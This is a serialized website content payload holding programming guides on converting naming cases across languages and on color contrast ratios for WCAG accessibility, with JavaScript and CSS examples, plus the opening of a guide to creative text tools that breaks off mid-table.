yaml:\"last-name\"`\n}\n",[143,39468,39469,39474,39479,39484],{"__ignoreMap":141},[1560,39470,39471],{"class":1562,"line":1563},[1560,39472,39473],{},"type User struct {\n",[1560,39475,39476],{"class":1562,"line":337},[1560,39477,39478],{},"    FirstName string `json:\"first_name\" yaml:\"first-name\"`\n",[1560,39480,39481],{"class":1562,"line":343},[1560,39482,39483],{},"    LastName  string `json:\"last_name\"  yaml:\"last-name\"`\n",[1560,39485,39486],{"class":1562,"line":365},[1560,39487,1585],{},[11,39489,39491],{"id":39490},"edge-cases-to-handle","Edge Cases to Handle",[193,39493,39494,39510],{},[196,39495,39496],{},[199,39497,39498,39501,39503,39505,39507],{},[202,39499,39500],{},"Input",[202,39502,23337],{},[202,39504,23347],{},[202,39506,38595],{},[202,39508,39509],{},"Pitfall",[211,39511,39512,39537,39559,39584,39606],{},[199,39513,39514,39519,39524,39529,39534],{},[216,39515,39516],{},[143,39517,39518],{},"XMLParser",[216,39520,39521],{},[143,39522,39523],{},"xmlParser",[216,39525,39526],{},[143,39527,39528],{},"xml_parser",[216,39530,39531],{},[143,39532,39533],{},"xml-parser",[216,39535,39536],{},"Acronym splitting",[199,39538,39539,39544,39546,39551,39556],{},[216,39540,39541],{},[143,39542,39543],{},"getUserID",[216,39545,3060],{},[216,39547,39548],{},[143,39549,39550],{},"get_user_id",[216,39552,39553],{},[143,39554,39555],{},"get-user-id",[216,39557,39558],{},"Consecutive uppercase",[199,39560,39561,39566,39571,39576,39581],{},[216,39562,39563],{},[143,39564,39565],{},"HTTPSConnection",[216,39567,39568],{},[143,39569,39570],{},"httpsConnection",[216,39572,39573],{},[143,39574,39575],{},"https_connection",[216,39577,39578],{},[143,39579,39580],{},"https-connection",[216,39582,39583],{},"Acronym at start",[199,39585,39586,39591,39596,39598,39603],{},[216,39587,39588],{},[143,39589,39590],{},"already_snake",[216,39592,39593],{},[143,39594,39595],{},"alreadySnake",[216,39597,3060],{},[216,39599,39600],{},[143,39601,39602],{},"already-snake",[216,39604,39605],{},"Double underscore",[199,39607,39608,39613,39617,39622,39627],{},[216,39609,39610],{},[143,39611,39612],{},"3dModel",[216,39614,39615],{},[143,39616,39612],{},[216,39618,39619],{},[143,39620,39621],{},"3d_model",[216,39623,39624],{},[143,39625,39626],{},"3d-model",[216,39628,39629],{},"Leading digit",[16,39631,39632],{},"No library handles all edge cases perfectly. Test against your actual data, especially names with acronyms and numbers.",[11,39634,1355],{"id":1354},[41,39636,39637,39640,39643,39646,39649,39652],{},[44,39638,39639],{},"Case conversion is essential at API boundaries, database mappings, and framework integrations",[44,39641,39642],{},"Lodash (JS), inflection (Python), Guava (Java), and strcase (Go) handle common conversions",[44,39644,39645],{},"Object key transformation is the most frequent use case — build a recursive transformer once and reuse it",[44,39647,39648],{},"Acronyms and consecutive uppercase letters are the hardest edge cases — test against real data",[44,39650,39651],{},"Prefer library solutions over regex for production code; they handle more edge cases",[44,39653,39654],{},"Use framework features (Pydantic aliases, Jackson naming strategies, Go struct tags) when available",[11,39656,321],{"id":320},[41,39658,39659,39663,39668],{},[44,39660,39661],{},[98,39662,23827],{"href":23826},[44,39664,39665],{},[98,39666,39667],{"href":23854},"camelCase vs snake_case",[44,39669,39670],{},[98,39671,23834],{"href":23833},[11,39673,286],{"id":285},[16,39675,39676,39677,39679],{},"Convert text between any naming convention instantly with our free ",[98,39678,23816],{"href":23815},". Paste any string and see conversions across camelCase, PascalCase, snake_case, kebab-case, and more.",[2043,39681,39682],{},"html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sA_wV, html code.shiki .sA_wV{--shiki-default:#032F62;--shiki-dark:#DBEDFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}",{"title":141,"searchDepth":337,"depth":337,"links":39684},[39685,39686,39687,39692,39697,39701,39705,39706,39707,39708],{"id":38481,"depth":337,"text":38482},{"id":38512,"depth":337,"text":38513},{"id":38625,"depth":337,"text":23400,"children":39688},[39689,39690,39691],{"id":38628,"depth":343,"text":38629},{"id":38717,"depth":343,"text":38718},{"id":38996,"depth":343,"text":38997},{"id":8261,"depth":337,"text":9840,"children":39693},[39694,39695,39696],{"id":39157,"depth":343,"text":39158},{"id":39176,"depth":343,"text":39177},{"id":39214,"depth":343,"text":39215},{"id":10185,"depth":337,"text":9880,"children":39698},[39699,39700],{"id":39280,"depth":343,"text":39281},{"id":39384,"depth":343,"text":39385},{"id":39417,"depth":337,"text":9900,"children":39702},[39703,39704],{"id":39420,"depth":343,"text":39421},{"id":39459,"depth":343,"text":39460},{"id":39490,"depth":337,"text":39491},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Learn how to convert between camelCase, snake_case, PascalCase, and more in Python, JavaScript, Java, and Go — with library and manual approaches.",{"immutable":363},"\u002Fguides\u002Fconverting-cases-programming-languages",{"title":38476,"description":39709},"guides\u002Fconverting-cases-programming-languages","sG4qKmI2mMlkaYnfH5Y3fxF46EQxR-uEgoG3IpxpF4c",{"id":39716,"title":39717,"body":39718,"date":2070,"description":40421,"extension":361,"meta":40422,"navigation":363,"path":40423,"readingTime":1717,"seo":40424,"stem":40425,"__hash__":40426},"guides\u002Fguides\u002Fconverting-colors-accessibility.md","Converting Colors for Accessibility: Contrast Ratios and WCAG Compliance",{"type":8,"value":39719,"toc":40410},[39720,39723,39727,39730,39773,39776,39782,39786,39789,39795,39798,40047,40050,40054,40057,40062,40065,40115,40120,40123,40138,40143,40146,40165,40169,40172,40227,40230,40286,40290,40293,40313,40316,40320,40323,40353,40356,40358,40378,40380,40398,40400,40407],[16,39721,39722],{},"Color accessibility is not about avoiding certain colors — it is about ensuring enough contrast between text and background so that everyone can read your content. WCAG 2.1 defines specific contrast ratio thresholds, and converting between color formats is often necessary to calculate and fix compliance issues.",[11,39724,39726],{"id":39725},"contrast-ratio-requirements","Contrast Ratio Requirements",[16,39728,39729],{},"WCAG 2.1 defines two levels of contrast compliance:",[193,39731,39732,39747],{},[196,39733,39734],{},[199,39735,39736,39738,39741,39744],{},[202,39737,3291],{},[202,39739,39740],{},"Normal Text (\u003C 18px)",[202,39742,39743],{},"Large Text (≥ 18px or 14px bold)",[202,39745,39746],{},"UI Components & Graphics",[211,39748,39749,39761],{},[199,39750,39751,39755,39757,39759],{},[216,39752,39753],{},[47,39754,3307],{},[216,39756,3310],{},[216,39758,3313],{},[216,39760,3313],{},[199,39762,39763,39767,39769,39771],{},[216,39764,39765],{},[47,39766,3320],{},[216,39768,3323],{},[216,39770,3310],{},[216,39772,3060],{},[16,39774,39775],{},"These ratios compare the relative luminance of the foreground and background colors. A ratio of 4.5:1 means the lighter color is 4.5 times as luminant as the darker one.",[16,39777,39778,39781],{},[47,39779,39780],{},"Common misconception",": WCAG does not ban light-gray text. It bans light-gray text on white backgrounds because the contrast falls below 4.5:1. The same gray on a dark background may pass easily.",[11,39783,39785],{"id":39784},"calculating-contrast-ratios","Calculating Contrast Ratios",[16,39787,39788],{},"The contrast ratio formula requires colors in relative luminance (not hex or RGB directly):",[135,39790,39793],{"className":39791,"code":39792,"language":140},[138],"L = 0.2126 × R + 0.7152 × G + 0.0722 × B\n",[143,39794,39792],{"__ignoreMap":141},[16,39796,39797],{},"Where R, G, and B are linearized (sRGB → linear) channel values between 0 and 1.",[135,39799,39801],{"className":1607,"code":39800,"language":1609,"meta":141,"style":141},"function relativeLuminance(r, g, b) {\n  const [R, G, B] = [r, g, b].map(c => {\n    c = c \u002F 255\n    return c \u003C= 0.03928 ? c \u002F 12.92 : Math.pow((c + 0.055) \u002F 1.055, 2.4)\n  })\n  return 0.2126 * R + 0.7152 * G + 0.0722 * B\n}\n\nfunction contrastRatio(lum1, lum2) {\n  const lighter = Math.max(lum1, lum2)\n  const darker = Math.min(lum1, lum2)\n  return (lighter + 0.05) \u002F (darker + 0.05)\n}\n",[143,39802,39803,39824,39860,39875,39924,39928,39960,39964,39968,39987,40003,40018,40043],{"__ignoreMap":141},[1560,39804,39805,39807,39810,39812,39814,39816,39818,39820,39822],{"class":1562,"line":1563},[1560,39806,8648],{"class":1669},[1560,39808,39809],{"class":1566}," relativeLuminance",[1560,39811,1688],{"class":1570},[1560,39813,23114],{"class":2219},[1560,39815,1459],{"class":1570},[1560,39817,22733],{"class":2219},[1560,39819,1459],{"class":1570},[1560,39821,28973],{"class":2219},[1560,39823,9345],{"class":1570},[1560,39825,39826,39828,39831,39834,39836,39839,39841,39843,39845,39847,39850,39852,39854,39856,39858],{"class":1562,"line":337},[1560,39827,28057],{"class":1669},[1560,39829,39830],{"class":1570}," [",[1560,39832,39833],{"class":1576},"R",[1560,39835,1459],{"class":1570},[1560,39837,39838],{"class":1576},"G",[1560,39840,1459],{"class":1570},[1560,39842,21978],{"class":1576},[1560,39844,13484],{"class":1570},[1560,39846,7297],{"class":1669},[1560,39848,39849],{"class":1570}," [r, g, b].",[1560,39851,9371],{"class":1566},[1560,39853,1688],{"class":1570},[1560,39855,13943],{"class":2219},[1560,39857,9378],{"class":1669},[1560,39859,1571],{"class":1570},[1560,39861,39862,39865,39867,39870,39872],{"class":1562,"line":343},[1560,39863,39864],{"class":1570},"    c ",[1560,39866,7297],{"class":1669},[1560,39868,39869],{"class":1570}," c ",[1560,39871,9423],{"class":1669},[1560,39873,39874],{"class":1576}," 255\n",[1560,39876,39877,39879,39881,39883,39886,39888,39890,39892,39895,39897,39899,39902,39905,39907,39910,39912,39914,39917,39919,39922],{"class":1562,"line":365},[1560,39878,9434],{"class":1669},[1560,39880,39869],{"class":1570},[1560,39882,22757],{"class":1669},[1560,39884,39885],{"class":1576}," 0.03928",[1560,39887,22763],{"class":1669},[1560,39889,39869],{"class":1570},[1560,39891,9423],{"class":1669},[1560,39893,39894],{"class":1576}," 12.92",[1560,39896,22769],{"class":1669},[1560,39898,9393],{"class":1570},[1560,39900,39901],{"class":1566},"pow",[1560,39903,39904],{"class":1570},"((c ",[1560,39906,9448],{"class":1669},[1560,39908,39909],{"class":1576}," 0.055",[1560,39911,1733],{"class":1570},[1560,39913,9423],{"class":1669},[1560,39915,39916],{"class":1576}," 1.055",[1560,39918,1459],{"class":1570},[1560,39920,39921],{"class":1576},"2.4",[1560,39923,8252],{"class":1570},[1560,39925,39926],{"class":1562,"line":889},[1560,39927,22821],{"class":1570},[1560,39929,39930,39932,39935,39937,39940,39942,39945,39947,39950,39952,39955,39957],{"class":1562,"line":1710},[1560,39931,9350],{"class":1669},[1560,39933,39934],{"class":1576}," 0.2126",[1560,39936,8064],{"class":1669},[1560,39938,39939],{"class":1576}," R",[1560,39941,29002],{"class":1669},[1560,39943,39944],{"class":1576}," 0.7152",[1560,39946,8064],{"class":1669},[1560,39948,39949],{"class":1576}," G",[1560,39951,29002],{"class":1669},[1560,39953,39954],{"class":1576}," 0.0722",[1560,39956,8064],{"class":1669},[1560,39958,39959],{"class":1576}," B\n",[1560,39961,39962],{"class":1562,"line":1717},[1560,39963,1585],{"class":1570},[1560,39965,39966],{"class":1562,"line":1747},[1560,39967,1702],{"emptyLinePlaceholder":363},[1560,39969,39970,39972,39975,39977,39980,39982,39985],{"class":1562,"line":2507},[1560,39971,8648],{"class":1669},[1560,39973,39974],{"class":1566}," contrastRatio",[1560,39976,1688],{"class":1570},[1560,39978,39979],{"class":2219},"lum1",[1560,39981,1459],{"class":1570},[1560,39983,39984],{"class":2219},"lum2",[1560,39986,9345],{"class":1570},[1560,39988,39989,39991,39994,39996,39998,40000],{"class":1562,"line":2524},[1560,39990,28057],{"class":1669},[1560,39992,39993],{"class":1576}," lighter",[1560,39995,8186],{"class":1669},[1560,39997,9393],{"class":1570},[1560,39999,9396],{"class":1566},[1560,40001,40002],{"class":1570},"(lum1, lum2)\n",[1560,40004,40005,40007,40010,40012,40014,40016],{"class":1562,"line":2529},[1560,40006,28057],{"class":1669},[1560,40008,40009],{"class":1576}," darker",[1560,40011,8186],{"class":1669},[1560,40013,9393],{"class":1570},[1560,40015,28995],{"class":1566},[1560,40017,40002],{"class":1570},[1560,40019,40020,40022,40025,40027,40030,40032,40034,40037,40039,40041],{"class":1562,"line":2534},[1560,40021,9350],{"class":1669},[1560,40023,40024],{"class":1570}," (lighter ",[1560,40026,9448],{"class":1669},[1560,40028,40029],{"class":1576}," 0.05",[1560,40031,1733],{"class":1570},[1560,40033,9423],{"class":1669},[1560,40035,40036],{"class":1570}," (darker ",[1560,40038,9448],{"class":1669},[1560,40040,40029],{"class":1576},[1560,40042,8252],{"class":1570},[1560,40044,40045],{"class":1562,"line":2542},[1560,40046,1585],{"class":1570},[16,40048,40049],{},"This is why converting between hex, RGB, and HSL is practical — you need numeric channel values to compute accessibility compliance.",[11,40051,40053],{"id":40052},"fixing-common-contrast-failures","Fixing Common Contrast Failures",[16,40055,40056],{},"When a color combination fails WCAG, you have three options:",[16,40058,40059],{},[47,40060,40061],{},"1. Darken the text color",[16,40063,40064],{},"Lowering the lightness (in HSL) of the foreground is the most straightforward fix:",[135,40066,40068],{"className":1554,"code":40067,"language":1556,"meta":141,"style":141},"\u002F* Fails AA: #9CA3AF on white → ratio 2.9:1 *\u002F\n.text-muted { color: #9CA3AF; }\n\n\u002F* Passes AA: #6B7280 on white → ratio 4.6:1 *\u002F\n.text-muted { color: #6B7280; }\n",[143,40069,40070,40075,40091,40095,40100],{"__ignoreMap":141},[1560,40071,40072],{"class":1562,"line":1563},[1560,40073,40074],{"class":1649},"\u002F* Fails AA: #9CA3AF on white → ratio 2.9:1 *\u002F\n",[1560,40076,40077,40080,40082,40084,40086,40089],{"class":1562,"line":337},[1560,40078,40079],{"class":1566},".text-muted",[1560,40081,1658],{"class":1570},[1560,40083,12607],{"class":1576},[1560,40085,1663],{"class":1570},[1560,40087,40088],{"class":1576},"#9CA3AF",[1560,40090,1673],{"class":1570},[1560,40092,40093],{"class":1562,"line":343},[1560,40094,1702],{"emptyLinePlaceholder":363},[1560,40096,40097],{"class":1562,"line":365},[1560,40098,40099],{"class":1649},"\u002F* Passes AA: #6B7280 on white → ratio 4.6:1 *\u002F\n",[1560,40101,40102,40104,40106,40108,40110,40113],{"class":1562,"line":889},[1560,40103,40079],{"class":1566},[1560,40105,1658],{"class":1570},[1560,40107,12607],{"class":1576},[1560,40109,1663],{"class":1570},[1560,40111,40112],{"class":1576},"#6B7280",[1560,40114,1673],{"class":1570},[16,40116,40117],{},[47,40118,40119],{},"2. Lighten the background color",[16,40121,40122],{},"Sometimes the background is the problem — dark text on a dark gray background fails just as badly:",[135,40124,40126],{"className":1554,"code":40125,"language":1556,"meta":141,"style":141},"\u002F* Fails AA: #111827 on #374151 → ratio 2.6:1 *\u002F\n\u002F* Passes AA: #111827 on #F3F4F6 → ratio 14.7:1 *\u002F\n",[143,40127,40128,40133],{"__ignoreMap":141},[1560,40129,40130],{"class":1562,"line":1563},[1560,40131,40132],{"class":1649},"\u002F* Fails AA: #111827 on #374151 → ratio 2.6:1 *\u002F\n",[1560,40134,40135],{"class":1562,"line":337},[1560,40136,40137],{"class":1649},"\u002F* Passes AA: #111827 on #F3F4F6 → ratio 14.7:1 *\u002F\n",[16,40139,40140],{},[47,40141,40142],{},"3. Adjust both colors",[16,40144,40145],{},"For accent-colored text on accent-colored backgrounds, you often need to adjust both:",[135,40147,40149],{"className":1554,"code":40148,"language":1556,"meta":141,"style":141},"\u002F* Fails AA: blue-500 (#3B82F6) on blue-100 (#DBEAFE) → ratio 3.1:1 *\u002F\n\n\u002F* Passes AA: blue-700 (#1D4ED8) on blue-100 (#DBEAFE) → ratio 5.4:1 *\u002F\n",[143,40150,40151,40156,40160],{"__ignoreMap":141},[1560,40152,40153],{"class":1562,"line":1563},[1560,40154,40155],{"class":1649},"\u002F* Fails AA: blue-500 (#3B82F6) on blue-100 (#DBEAFE) → ratio 3.1:1 *\u002F\n",[1560,40157,40158],{"class":1562,"line":337},[1560,40159,1702],{"emptyLinePlaceholder":363},[1560,40161,40162],{"class":1562,"line":343},[1560,40163,40164],{"class":1649},"\u002F* Passes AA: blue-700 (#1D4ED8) on blue-100 (#DBEAFE) → ratio 5.4:1 *\u002F\n",[11,40166,40168],{"id":40167},"dark-mode-contrast-pitfalls","Dark Mode Contrast Pitfalls",[16,40170,40171],{},"Dark mode introduces new contrast challenges. Colors that pass on white backgrounds may fail on dark ones:",[193,40173,40174,40190],{},[196,40175,40176],{},[199,40177,40178,40181,40184,40187],{},[202,40179,40180],{},"Combination",[202,40182,40183],{},"Light Mode Ratio",[202,40185,40186],{},"Dark Mode Ratio",[202,40188,40189],{},"Passes AA?",[211,40191,40192,40203,40215],{},[199,40193,40194,40197,40199,40201],{},[216,40195,40196],{},"Gray-500 on white",[216,40198,4087],{},[216,40200,3060],{},[216,40202,3057],{},[199,40204,40205,40208,40210,40213],{},[216,40206,40207],{},"Gray-500 on gray-900",[216,40209,3060],{},[216,40211,40212],{},"3.8:1",[216,40214,6117],{},[199,40216,40217,40220,40222,40225],{},[216,40218,40219],{},"Gray-400 on gray-900",[216,40221,3060],{},[216,40223,40224],{},"6.1:1",[216,40226,3057],{},[16,40228,40229],{},"In dark mode, muted text typically needs to be one or two shades lighter than in light mode. Use semantic color tokens with mode-specific overrides:",[135,40231,40233],{"className":1554,"code":40232,"language":1556,"meta":141,"style":141},":root {\n  --color-text-muted: #6B7280; \u002F* gray-500, passes AA on white *\u002F\n}\n\n.dark {\n  --color-text-muted: #9CA3AF; \u002F* gray-400, passes AA on gray-900 *\u002F\n}\n",[143,40234,40235,40241,40255,40259,40263,40269,40282],{"__ignoreMap":141},[1560,40236,40237,40239],{"class":1562,"line":1563},[1560,40238,2207],{"class":1566},[1560,40240,1571],{"class":1570},[1560,40242,40243,40246,40248,40250,40252],{"class":1562,"line":337},[1560,40244,40245],{"class":2219},"  --color-text-muted",[1560,40247,1663],{"class":1570},[1560,40249,40112],{"class":1576},[1560,40251,3664],{"class":1570},[1560,40253,40254],{"class":1649},"\u002F* gray-500, passes AA on white *\u002F\n",[1560,40256,40257],{"class":1562,"line":343},[1560,40258,1585],{"class":1570},[1560,40260,40261],{"class":1562,"line":365},[1560,40262,1702],{"emptyLinePlaceholder":363},[1560,40264,40265,40267],{"class":1562,"line":889},[1560,40266,4355],{"class":1566},[1560,40268,1571],{"class":1570},[1560,40270,40271,40273,40275,40277,40279],{"class":1562,"line":1710},[1560,40272,40245],{"class":2219},[1560,40274,1663],{"class":1570},[1560,40276,40088],{"class":1576},[1560,40278,3664],{"class":1570},[1560,40280,40281],{"class":1649},"\u002F* gray-400, passes AA on gray-900 *\u002F\n",[1560,40283,40284],{"class":1562,"line":1717},[1560,40285,1585],{"class":1570},[11,40287,40289],{"id":40288},"apca-the-next-generation","APCA: The Next Generation",[16,40291,40292],{},"The Accessible Perceptual Contrast Algorithm (APCA) is proposed for WCAG 3.0. It addresses known weaknesses in the current 4.5:1 formula:",[41,40294,40295,40301,40307],{},[44,40296,40297,40300],{},[47,40298,40299],{},"Accommodates font size and weight"," — larger or bolder text needs less contrast",[44,40302,40303,40306],{},[47,40304,40305],{},"Spatial frequency aware"," — thin lines need more contrast than large blocks",[44,40308,40309,40312],{},[47,40310,40311],{},"Better for dark mode"," — the current formula overestimates contrast on dark backgrounds for small text",[16,40314,40315],{},"APCA is not yet required for compliance, but tools like the APCA Contrast Checker let you preview results today. Design systems built with APCA in mind will transition more easily when WCAG 3.0 arrives.",[11,40317,40319],{"id":40318},"automated-testing","Automated Testing",[16,40321,40322],{},"Manually checking every color combination is impractical. Automate accessibility testing:",[41,40324,40325,40331,40337,40347],{},[44,40326,40327,40330],{},[47,40328,40329],{},"axe-core"," — audits contrast violations in your test suite",[44,40332,40333,40336],{},[47,40334,40335],{},"Lighthouse"," — includes contrast checks in accessibility scoring",[44,40338,40339,40342,40343,40346],{},[47,40340,40341],{},"Stylelint"," — the ",[143,40344,40345],{},"color-no-invalid-hex"," and custom contrast rules catch issues at lint time",[44,40348,40349,40352],{},[47,40350,40351],{},"Chromatic"," — visual regression testing that flags contrast changes between PRs",[16,40354,40355],{},"Integrate at least one tool into your CI pipeline. Contrast failures should never reach production.",[11,40357,1355],{"id":1354},[41,40359,40360,40363,40366,40369,40372,40375],{},[44,40361,40362],{},"WCAG AA requires 4.5:1 contrast for normal text and 3:1 for large text and UI components",[44,40364,40365],{},"Contrast ratios depend on relative luminance — you need RGB values to calculate them",[44,40367,40368],{},"Fix contrast by darkening text, lightening backgrounds, or adjusting both",[44,40370,40371],{},"Dark mode requires separate contrast validation — light-mode-passing colors may fail",[44,40373,40374],{},"APCA (WCAG 3.0) will improve contrast calculation but is not yet required",[44,40376,40377],{},"Automate contrast testing with axe-core, Lighthouse, or Stylelint in your CI pipeline",[11,40379,321],{"id":320},[41,40381,40382,40387,40392],{},[44,40383,40384],{},[98,40385,40386],{"href":30381},"Hex to RGB: Understanding Color Format Conversion",[44,40388,40389],{},[98,40390,40391],{"href":30673},"Color Models Explained: RGB, HSL, HEX, and More",[44,40393,40394],{},[98,40395,40397],{"href":40396},"\u002Fguides\u002Fcss-custom-properties-color-values","CSS Custom Properties for Color Values",[11,40399,286],{"id":285},[16,40401,40402,40403,40406],{},"Convert colors and check contrast compliance with our free ",[98,40404,40405],{"href":5989},"Hex to RGB"," tool. Enter any hex value to get RGB, HSL, and other formats — then verify your color combinations meet WCAG requirements.",[2043,40408,40409],{},"html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}",{"title":141,"searchDepth":337,"depth":337,"links":40411},[40412,40413,40414,40415,40416,40417,40418,40419,40420],{"id":39725,"depth":337,"text":39726},{"id":39784,"depth":337,"text":39785},{"id":40052,"depth":337,"text":40053},{"id":40167,"depth":337,"text":40168},{"id":40288,"depth":337,"text":40289},{"id":40318,"depth":337,"text":40319},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Learn how to convert and adjust color values to meet WCAG contrast requirements — practical techniques for accessible text, UI components, and dark mode.",{"immutable":363},"\u002Fguides\u002Fconverting-colors-accessibility",{"title":39717,"description":40421},"guides\u002Fconverting-colors-accessibility","D1t7b-0mHJkxudyk6pxcVglD2a5jmFTiL5H43GJblrg",{"id":40428,"title":40429,"body":40430,"date":2070,"description":40937,"extension":361,"meta":40938,"navigation":363,"path":40941,"readingTime":7146,"seo":40942,"stem":40943,"__hash__":40944},"guides\u002Fguides\u002Fcreative-text-tools.md","Creative Text Tools: Transform Your Words Beyond Plain Text",{"type":8,"value":40431,"toc":40919},[40432,40435,40439,40520,40523,40526,40529,40534,40548,40553,40564,40567,40571,40582,40586,40600,40604,40615,40618,40622,40625,40704,40708,40719,40723,40734,40738,40741,40745,40756,40760,40771,40774,40778,40781,40785,40788,40792,40795,40799,40802,40806,40809,40813,40816,40836,40839,40843,40846,40865,40868,40870,40890,40892,40895,40903,40905],[16,40433,40434],{},"Plain text communicates information. Creative text communicates personality. A string of characters shaped into ASCII art, a paragraph rendered in handwriting on lined paper, or a headline styled in alternating case — each of these transforms words from something you read into something you notice. This guide surveys the main categories of creative text tools, explains when each one fits, and shows how to combine them for stronger results.",[11,40436,40438],{"id":40437},"categories-of-creative-text-tools","Categories of Creative Text Tools",[193,40440,40441,40455],{},[196,40442,40443],{},[199,40444,40445,40448,40450,40452],{},[202,40446,40447],{},"Tool Type",[202,40449,39500],{},[202,40451,754],{},[202,40453,40454],{},"Primary Use",[211,40456,40457,40470,40483,40495,40507],{},[199,40458,40459,40462,40464,40467],{},[216,40460,40461],{},"Text to Handwriting",[216,40463,34829],{},[216,40465,40466],{},"Handwritten-style image",[216,40468,40469],{},"Notes, letters, classroom materials",[199,40471,40472,40475,40477,40480],{},[216,40473,40474],{},"ASCII Art Generator",[216,40476,34829],{},[216,40478,40479],{},"Character-based art",[216,40481,40482],{},"Code comments, terminals, social posts",[199,40484,40485,40487,40489,40492],{},[216,40486,23816],{},[216,40488,34829],{},[216,40490,40491],{},"Transformed case text",[216,40493,40494],{},"Headlines, code identifiers, stylistic writing",[199,40496,40497,40499,40502,40504],{},[216,40498,6789],{},[216,40500,40501],{},"Parameters",[216,40503,4084],{},[216,40505,40506],{},"Design mockups, prototyping",[199,40508,40509,40512,40514,40517],{},[216,40510,40511],{},"Emoji Text",[216,40513,34829],{},[216,40515,40516],{},"Emoji-decorated text",[216,40518,40519],{},"Social media, casual messaging",[16,40521,40522],{},"Each tool solves a distinct problem. The table below expands on when to reach for each one.",[11,40524,40461],{"id":40525},"text-to-handwriting",[16,40527,40528],{},"Handwriting-style output works anywhere you want to feel personal rather than produced. The tool takes typed text, applies a handwriting font, adds organic variation through slight rotation and spacing shifts, and renders the result on a paper-style background.",[16,40530,40531],{},[47,40532,40533],{},"When it works best:",[41,40535,40536,40539,40542,40545],{},[44,40537,40538],{},"Personalized letters or thank-you notes",[44,40540,40541],{},"Classroom handouts that feel handwritten",[44,40543,40544],{},"Social media posts that stand out in a feed of typed content",[44,40546,40547],{},"Presentation slides that need a warm, informal touch",[16,40549,40550],{},[47,40551,40552],{},"Limitations:",[41,40554,40555,40558,40561],{},[44,40556,40557],{},"Not suitable for long-form content — readability drops beyond a few paragraphs",[44,40559,40560],{},"Exported images are not selectable or searchable",[44,40562,40563],{},"Paper backgrounds add visual noise that competes with dense text",[16,40565,40566],{},"Keep handwriting output short: a few lines to a paragraph is the sweet spot.",[11,40568,40570],{"id":40569},"ascii-art-generators","ASCII Art Generators",[16,40572,40573,40574,1856,40576,40578,40579,40581],{},"ASCII art builds images using only text characters — letters, numbers, punctuation, and spacing. Dense characters like ",[143,40575,6849],{},[143,40577,6852],{}," represent dark areas; sparse characters like ",[143,40580,468],{}," and spaces represent light areas.",[16,40583,40584],{},[47,40585,40533],{},[41,40587,40588,40591,40594,40597],{},[44,40589,40590],{},"Terminal start screens and CLI tool banners",[44,40592,40593],{},"Code comments and README files where images are not possible",[44,40595,40596],{},"Retro-styled social media posts",[44,40598,40599],{},"Email signatures in plain-text-only environments",[16,40601,40602],{},[47,40603,40552],{},[41,40605,40606,40609,40612],{},[44,40607,40608],{},"Resolution is inherently low — fine details do not reproduce well",[44,40610,40611],{},"Fixed-width fonts are required; proportional fonts break the alignment",[44,40613,40614],{},"Large ASCII art pieces are difficult to edit after generation",[16,40616,40617],{},"ASCII art shines in technical contexts where images are impractical and you want visual interest within plain-text constraints.",[11,40619,40621],{"id":40620},"case-converters","Case Converters",[16,40623,40624],{},"Case conversion tools transform your text into specific capitalization patterns:",[193,40626,40627,40638],{},[196,40628,40629],{},[199,40630,40631,40633,40635],{},[202,40632,9085],{},[202,40634,133],{},[202,40636,40637],{},"Common Use",[211,40639,40640,40651,40662,40673,40683,40693],{},[199,40641,40642,40645,40648],{},[216,40643,40644],{},"UPPERCASE",[216,40646,40647],{},"HELLO WORLD",[216,40649,40650],{},"Headlines, emphasis, code constants",[199,40652,40653,40656,40659],{},[216,40654,40655],{},"lowercase",[216,40657,40658],{},"hello world",[216,40660,40661],{},"URLs, casual 